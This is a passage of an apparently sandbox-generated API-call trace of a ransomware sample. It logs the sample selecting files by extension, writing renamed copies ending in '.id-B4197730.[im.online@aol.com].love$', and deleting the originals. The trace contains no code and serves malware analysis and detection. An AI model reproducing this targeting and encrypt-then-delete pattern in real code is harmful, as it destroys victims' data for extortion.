[0104.621] lstrlenW (lpString=".ppt") returned 4 [0104.621] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0104.621] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.621] lstrlenW (lpString=".zip") returned 4 [0104.621] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0104.621] lstrlenW (lpString=".rar") returned 4 [0104.621] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0104.621] lstrlenW (lpString=".bz2") returned 4 [0104.621] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0104.621] lstrlenW (lpString=".7z") returned 3 [0104.621] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0104.621] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.621] lstrlenW (lpString=".dbf") returned 4 [0104.621] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0104.621] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.621] lstrlenW (lpString=".1cd") returned 4 [0104.621] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0104.621] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.621] lstrlenW (lpString=".jpg") returned 4 [0104.621] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0104.622] lstrcmpiW (lpString1=".DAT", lpString2=".love$") returned -1 [0104.622] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0104.622] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0104.822] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=65536) returned 1 [0104.822] CloseHandle (hObject=0x2b8) returned 1 [0104.822] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0104.822] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.822] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0104.823] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.823] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.823] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0105.117] GetLastError () returned 0x0 [0105.117] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x10000, lpOverlapped=0x0) returned 1 [0105.137] WriteFile (in: hFile=0x338, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x10010, lpOverlapped=0x0) returned 1 [0105.141] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.141] WriteFile (in: hFile=0x338, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0105.141] SetEndOfFile (hFile=0x338) returned 1 [0105.141] CloseHandle (hObject=0x338) returned 1 [0105.144] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.144] SetEndOfFile (hFile=0x2b8) returned 1 [0105.145] CloseHandle (hObject=0x2b8) returned 1 [0105.146] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x26) returned 1 [0105.146] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0105.146] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.146] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.146] lstrlenW (lpString=".doc") returned 4 [0105.146] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0105.146] lstrlenW (lpString=".docx") returned 5 [0105.146] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0105.147] lstrlenW (lpString=".pdf") returned 4 [0105.147] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0105.147] lstrlenW (lpString=".xls") returned 4 [0105.147] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0105.147] lstrlenW (lpString=".xlsx") returned 5 [0105.147] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0105.147] lstrlenW (lpString=".ppt") returned 4 [0105.147] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0105.147] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.147] lstrlenW (lpString=".zip") returned 4 [0105.147] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0105.147] lstrlenW (lpString=".rar") returned 4 [0105.147] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0105.147] lstrlenW (lpString=".bz2") returned 4 [0105.147] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0105.147] lstrlenW (lpString=".7z") returned 3 [0105.147] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0105.147] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.147] lstrlenW (lpString=".dbf") returned 4 [0105.147] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0105.147] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.147] lstrlenW (lpString=".1cd") returned 4 [0105.147] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0105.147] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.147] lstrlenW (lpString=".jpg") returned 4 [0105.147] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0105.148] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.148] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.148] lstrlenW (lpString=".doc") returned 4 [0105.148] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0105.148] lstrlenW (lpString=".docx") returned 5 [0105.148] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0105.148] lstrlenW (lpString=".pdf") returned 4 [0105.148] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0105.148] lstrlenW (lpString=".xls") returned 4 [0105.148] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0105.148] lstrlenW (lpString=".xlsx") returned 5 [0105.148] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0105.148] lstrlenW (lpString=".ppt") returned 4 [0105.148] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0105.148] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.148] lstrlenW (lpString=".zip") returned 4 [0105.148] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0105.148] lstrlenW (lpString=".rar") returned 4 [0105.148] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0105.148] lstrlenW (lpString=".bz2") returned 4 [0105.148] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0105.148] lstrlenW (lpString=".7z") returned 3 [0105.148] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0105.148] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.148] lstrlenW (lpString=".dbf") returned 4 [0105.148] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0105.148] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.149] lstrlenW (lpString=".1cd") returned 4 [0105.149] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0105.149] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0105.149] lstrlenW (lpString=".jpg") returned 4 [0105.149] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0105.149] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0105.149] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0105.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0105.159] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4782) returned 1 [0105.159] CloseHandle (hObject=0x318) returned 1 [0105.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0105.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0105.159] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.159] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0105.161] GetLastError () returned 0x0 [0105.161] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x12ae, lpOverlapped=0x0) returned 1 [0105.237] WriteFile (in: hFile=0x374, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x12b0, lpOverlapped=0x0) returned 1 [0105.239] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.239] WriteFile (in: hFile=0x374, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x104, lpOverlapped=0x0) returned 1 [0105.239] SetEndOfFile (hFile=0x374) returned 1 [0105.241] CloseHandle (hObject=0x374) returned 1 [0105.242] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.242] SetEndOfFile (hFile=0x318) returned 1 [0105.244] CloseHandle (hObject=0x318) returned 1 [0105.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0105.244] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0105.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.245] lstrlenW (lpString=".doc") returned 4 [0105.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.245] lstrlenW (lpString=".docx") returned 5 [0105.245] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0105.245] lstrlenW (lpString=".pdf") returned 4 [0105.245] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.245] lstrlenW (lpString=".xls") returned 4 [0105.245] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.245] lstrlenW (lpString=".xlsx") returned 5 [0105.245] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0105.245] lstrlenW (lpString=".ppt") returned 4 [0105.245] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.245] lstrlenW (lpString=".zip") returned 4 [0105.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.245] lstrlenW (lpString=".rar") returned 4 [0105.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.245] lstrlenW (lpString=".bz2") returned 4 [0105.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.245] lstrlenW (lpString=".7z") returned 3 [0105.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.245] lstrlenW (lpString=".dbf") returned 4 [0105.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.245] lstrlenW (lpString=".1cd") returned 4 [0105.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.246] lstrlenW (lpString=".jpg") returned 4 [0105.246] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.246] lstrlenW (lpString=".doc") returned 4 [0105.246] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.246] lstrlenW (lpString=".docx") returned 5 [0105.246] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0105.246] lstrlenW (lpString=".pdf") returned 4 [0105.246] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.246] lstrlenW (lpString=".xls") returned 4 [0105.246] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.246] lstrlenW (lpString=".xlsx") returned 5 [0105.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0105.246] lstrlenW (lpString=".ppt") returned 4 [0105.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.246] lstrlenW (lpString=".zip") returned 4 [0105.246] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.246] lstrlenW (lpString=".rar") returned 4 [0105.246] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.246] lstrlenW (lpString=".bz2") returned 4 [0105.246] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.246] lstrlenW (lpString=".7z") returned 3 [0105.246] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.246] lstrlenW (lpString=".dbf") returned 4 [0105.246] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.247] lstrlenW (lpString=".1cd") returned 4 [0105.247] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0105.247] lstrlenW (lpString=".jpg") returned 4 [0105.247] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.247] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0105.247] lstrlenW (lpString="Alphabet.xml") returned 12 [0105.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0105.656] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=791421) returned 1 [0105.656] CloseHandle (hObject=0x380) returned 1 [0105.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0105.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.657] lstrlenW (lpString=".doc") returned 4 [0105.657] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.657] lstrlenW (lpString=".docx") returned 5 [0105.657] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0105.657] lstrlenW (lpString=".pdf") returned 4 [0105.657] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.657] lstrlenW (lpString=".xls") returned 4 [0105.657] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.657] lstrlenW (lpString=".xlsx") returned 5 [0105.657] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0105.657] lstrlenW (lpString=".ppt") returned 4 [0105.657] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.657] lstrlenW (lpString=".zip") returned 4 [0105.657] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.657] lstrlenW (lpString=".rar") returned 4 [0105.657] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.657] lstrlenW (lpString=".bz2") returned 4 [0105.657] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.657] lstrlenW (lpString=".7z") returned 3 [0105.657] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.657] lstrlenW (lpString=".dbf") returned 4 [0105.657] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.657] lstrlenW (lpString=".1cd") returned 4 [0105.657] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.658] lstrlenW (lpString=".jpg") returned 4 [0105.658] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.658] lstrlenW (lpString=".doc") returned 4 [0105.658] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.658] lstrlenW (lpString=".docx") returned 5 [0105.658] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0105.658] lstrlenW (lpString=".pdf") returned 4 [0105.658] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.658] lstrlenW (lpString=".xls") returned 4 [0105.658] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.658] lstrlenW (lpString=".xlsx") returned 5 [0105.658] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0105.658] lstrlenW (lpString=".ppt") returned 4 [0105.658] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.658] lstrlenW (lpString=".zip") returned 4 [0105.658] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.658] lstrlenW (lpString=".rar") returned 4 [0105.658] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.658] lstrlenW (lpString=".bz2") returned 4 [0105.658] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.658] lstrlenW (lpString=".7z") returned 3 [0105.658] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.658] lstrlenW (lpString=".dbf") returned 4 [0105.659] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.659] lstrlenW (lpString=".1cd") returned 4 [0105.659] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0105.659] lstrlenW (lpString=".jpg") returned 4 [0105.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.659] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.659] lstrlenW (lpString="boxed-split.avi") returned 15 [0105.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0105.874] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=84190) returned 1 [0105.874] CloseHandle (hObject=0x2b8) returned 1 [0105.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0105.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.883] lstrlenW (lpString=".doc") returned 4 [0105.883] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.883] lstrlenW (lpString=".docx") returned 5 [0105.883] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0105.883] lstrlenW (lpString=".pdf") returned 4 [0105.883] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.883] lstrlenW (lpString=".xls") returned 4 [0105.883] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.883] lstrlenW (lpString=".xlsx") returned 5 [0105.883] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0105.883] lstrlenW (lpString=".ppt") returned 4 [0105.883] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.883] lstrlenW (lpString=".zip") returned 4 [0105.883] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.883] lstrlenW (lpString=".rar") returned 4 [0105.883] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.883] lstrlenW (lpString=".bz2") returned 4 [0105.883] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.883] lstrlenW (lpString=".7z") returned 3 [0105.883] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.883] lstrlenW (lpString=".dbf") returned 4 [0105.883] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.884] lstrlenW (lpString=".1cd") returned 4 [0105.884] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.884] lstrlenW 